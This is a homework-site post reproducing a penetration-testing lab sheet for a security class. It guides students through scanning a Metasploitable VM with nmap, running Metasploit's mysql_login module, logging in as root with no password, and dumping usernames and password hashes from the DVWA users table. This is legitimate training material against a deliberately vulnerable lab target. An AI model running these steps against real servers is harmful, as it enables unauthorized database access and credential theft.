{"id":61445,"date":"2022-05-16T00:54:44","date_gmt":"2022-05-16T00:54:44","guid":{"rendered":"https:\/\/assignmenttutors.net\/blog\/linux-commands-information-systems-homework-help\/"},"modified":"2022-05-16T00:54:44","modified_gmt":"2022-05-16T00:54:44","slug":"linux-commands-information-systems-homework-help","status":"publish","type":"post","link":"https:\/\/assignmenttutors.net\/blog\/linux-commands-information-systems-homework-help\/","title":{"rendered":"Linux commands | Information Systems homework help"},"content":{"rendered":"
\n

\u00a0\u00a0<\/p>\n

Database Attack Lab<\/p>\n

Class: SEC6070<\/p>\n

Name:<\/p>\n

Date:\u00a0<\/p>\n

This lab will follow a database penetration test from beginning to end in order to illustrate, in a hands-on way, the steps necessary to fully compromise a database. You will use a Metasploit module to identify an account you may use to login. Once logged in you will use SQL commands to explore the database.<\/p>\n

1. If Metasploitable isn’t already running launch the Metasploitable VM.<\/p>\n

2. At the user logon prompt type: msfadmin<\/p>\n

3. At the password prompt type: msfadmin<\/p>\n

4. Type: ifconfig<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

5. Record the IP address here: This is your RHOST <\/strong>or \u2018remote host\u2019<\/p>\n

Now switch to Kali.<\/strong><\/p>\n

6. Open a shell by clicking on the black box next to the word \u201cPlaces\u201d.\u00a0<\/p>\n

7. Type: service postgresql start<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

8. Type: msfconsole<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

9. Scan your target for database technologies. Try to identify running database services on your target\u2019s ports.\u00a0<\/p>\n

a. Type: nmap x.x.x.x (substitute x.x.x.x for the ip address of your REMOTE host)<\/p>\n

b. Paste your screenshot here:-\u00a0<\/p>\n

Success! We\u2019re identified multiple instances of database technologies running on our target. Let\u2019s choose a service to target. For this example we\u2019ll select MySQL.<\/p>\n

10. Metasploit has multiple MySQL exploits.\u00a0<\/p>\n

a.Type: search mysql<\/p>\n

b. Paste your screenshot here:-\u00a0<\/p>\n

11. Type: use auxiliary\/scanner\/mysql\/mysql_login<\/p>\n

12. Type: info<\/p>\n

13. Type: set rhosts x.x.x.x (substitute x.x.x.x for the ip address of your REMOTE host)<\/p>\n

14. Type: set username root<\/p>\n

15. Type: set stop_on_success true<\/p>\n

16. Let\u2019s confirm the changes you made took. Type: info<\/p>\n

17. a. Paste your screenshot here:-\u00a0<\/p>\n

18. Type: exploit<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

You determined the username root has no password.<\/strong> Congratulations.<\/strong> Let\u2019s test our access to the MySQL database.<\/strong><\/p>\n

19. Open a new shell by clicking on the black box to the right of the word \u201cPlaces\u201d.<\/p>\n

20. Type: mysql \u2013h x.x.x.x \u00a0\u2013u root (substitute x.x.x.x for the ip address of your REMOTE host)<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

21. Type: show databases;<\/p>\n

a. Paste your screenshot here:- \u00a0<\/p>\n

22. Let\u2019s pick a database and explore it. Type: use dvwa;<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

23. Now that we\u2019ve picked a database let\u2019s view the tables. Type: show tables;<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

24. Let\u2019s see what data is being held in this table. Type: show columns from users;<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

25. Columns of interest are \u201cuser\u201d and \u201cpassword\u201d. Type: select user, password from users;<\/p>\n

a. Paste your screenshot here:-\u00a0<\/p>\n

26. You\u2019ve successfully scanned for a database technology, found a vulnerable database service running on a target\u2019s port, located the appropriate exploit for use and ran it. Now try exploiting a different database vulnerability, such as Postgresql.\u00a0<\/p>\n

Congratulations, you\u2019ve used a Metasploit module to attack a database. You\u2019ve accessed a database, enumerated the tables, identified fields of interest, and inspected their contents.<\/p>\n

\u00a0\u00a0\u00a0W<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

\u00a0\u00a0 Database Attack Lab Class: SEC6070 Name: Date:\u00a0 This lab will follow a database penetration test from beginning to end in order to illustrate, in a hands-on way, the steps necessary to fully compromise a database. You will use a Metasploit module to identify an account you may use to login. Once logged in you […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-61445","post","type-post","status-publish","format-standard","hentry","category-education"],"_links":{"self":[{"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/posts\/61445","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/comments?post=61445"}],"version-history":[{"count":0,"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/posts\/61445\/revisions"}],"wp:attachment":[{"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/media?parent=61445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/categories?post=61445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/assignmenttutors.net\/blog\/wp-json\/wp\/v2\/tags?post=61445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}